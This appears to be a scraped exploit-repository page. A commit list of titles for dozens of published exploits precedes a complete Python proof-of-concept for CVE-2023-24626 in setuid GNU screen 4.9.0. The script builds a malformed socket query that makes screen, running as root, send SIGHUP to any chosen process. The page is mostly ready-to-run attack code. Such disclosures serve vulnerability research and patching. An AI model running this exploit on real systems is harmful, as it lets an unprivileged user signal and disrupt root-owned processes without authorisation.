d46ab98863
32 changes to exploits/shellcodes/ghdb Answerdev 1.0.3 - Account Takeover D-Link DIR-846 - Remote Command Execution (RCE) vulnerability Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB - Information Disclosure SOUND4 LinkAndShare Transmitter 1.1.2 - Format String Stack Buffer Overflow ERPNext 12.29 - Cross-Site Scripting (XSS) Liferay Portal 6.2.5 - Insecure Permissions GNU screen v4.9.0 - Privilege Escalation Apache Tomcat 10.1 - Denial Of Service PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) BTCPay Server v1.7.4 - HTML Injection. Provide Server v.14.4 XSS - CSRF & Remote Code Execution (RCE) Secure Web Gateway 10.2.11 - Cross-Site Scripting (XSS) ImageMagick 7.1.0-49 - DoS bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS) Bus Pass Management System 1.0 - Stored Cross-Site Scripting (XSS) Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS) CKEditor 5 35.4.0 - Cross-Site Scripting (XSS) Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE) Froxlor 2.0.3 Stable - Remote Code Execution (RCE) ImageMagick 7.1.0-49 - Arbitrary File Read itech TrainSmart r1044 - SQL injection Online Eyewear Shop 1.0 - SQL Injection (Unauthenticated) PhotoShow 3.0 - Remote Code Execution projectSend r1605 - Remote Code Exectution RCE Responsive FileManager 9.9.5 - Remote Code Execution (RCE) zstore 6.6.0 - Cross-Site Scripting (XSS) Binwalk v2.3.2 - Remote Command Execution (RCE) XWorm Trojan 2.1 - Null Pointer Derefernce DoS Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution) Linux/x86_64 - bash Shellcode with xor encoding
105 lines
No EOL
2.5 KiB
Python
Executable file
105 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: GNU screen v4.9.0 - Privilege Escalation
|
|
# Date: 03.02.2023
|
|
# Exploit Author: Manuel Andreas
|
|
# Vendor Homepage: https://www.gnu.org/software/screen/
|
|
# Software Link: https://ftp.gnu.org/gnu/screen/screen-4.9.0.tar.gz
|
|
# Version: 4.9.0
|
|
# Tested on: Arch Linux
|
|
# CVE : CVE-2023-24626
|
|
|
|
import os
|
|
import socket
|
|
import struct
|
|
import argparse
|
|
import subprocess
|
|
import pty
|
|
import time
|
|
|
|
SOCKDIR_TEMPLATE = "/run/screens/S-{}"
|
|
MAXPATHLEN = 4096
|
|
MAXTERMLEN = 32
|
|
MAXLOGINLEN = 256
|
|
STRUCTSIZE = 12584
|
|
MSG_QUERY = 9
|
|
|
|
def find_latest_socket(dir):
|
|
return f"{dir}/{sorted(os.listdir(dir))[-1]}"
|
|
|
|
|
|
def build_magic(ver=5):
|
|
return ord('m') << 24 | ord('s') << 16 | ord('g') << 8 | ver
|
|
|
|
|
|
def build_msg(type):
|
|
return struct.pack("<ii", build_magic(), type) + MAXPATHLEN * b"T"
|
|
|
|
|
|
def build_query(auser, nargs, cmd, apid, preselect, writeback):
|
|
assert(len(auser) == MAXLOGINLEN + 1)
|
|
assert(len(cmd) == MAXPATHLEN)
|
|
assert(len(preselect) == 20)
|
|
assert(len(writeback) == MAXPATHLEN)
|
|
|
|
buf = build_msg(MSG_QUERY)
|
|
|
|
buf += auser
|
|
buf += 3 * b"\x00" #Padding
|
|
buf += struct.pack("<i", nargs)
|
|
buf += cmd
|
|
buf += struct.pack("<i", apid)
|
|
buf += preselect
|
|
buf += writeback
|
|
|
|
# Union padding
|
|
buf += (STRUCTSIZE - len(buf)) * b"P"
|
|
|
|
return buf
|
|
|
|
|
|
def spawn_screen_instance():
|
|
# provide a pty
|
|
mo, so = pty.openpty()
|
|
me, se = pty.openpty()
|
|
mi, si = pty.openpty()
|
|
|
|
screen = subprocess.Popen("/usr/bin/screen", bufsize=0, stdin=si, stdout=so, stderr=se, close_fds=True, env={"TERM":"xterm"})
|
|
|
|
for fd in [so, se, si]:
|
|
os.close(fd)
|
|
|
|
return screen
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='PoC for sending SIGHUP as root utilizing GNU screen configured as setuid root.')
|
|
parser.add_argument('pid', type=int, help='the pid to receive the signal')
|
|
|
|
args = parser.parse_args()
|
|
|
|
pid = args.pid
|
|
username = os.getlogin()
|
|
|
|
screen = spawn_screen_instance()
|
|
|
|
print("Waiting a second for screen to setup its socket..")
|
|
time.sleep(1)
|
|
|
|
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
|
socket_path = find_latest_socket(SOCKDIR_TEMPLATE.format(username))
|
|
|
|
print(f"Connecting to: {socket_path}")
|
|
s.connect(socket_path)
|
|
|
|
print('Sending message...')
|
|
msg = build_query(username.encode('ascii') + (MAXLOGINLEN + 1 - len(username)) * b"\x00", 0, MAXPATHLEN * b"E", pid, 20 * b"\x00", MAXPATHLEN * b"D")
|
|
s.sendmsg([msg])
|
|
|
|
s.recv(512)
|
|
|
|
print(f'Ok sent SIGHUP to {pid}!')
|
|
|
|
screen.kill()
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main() |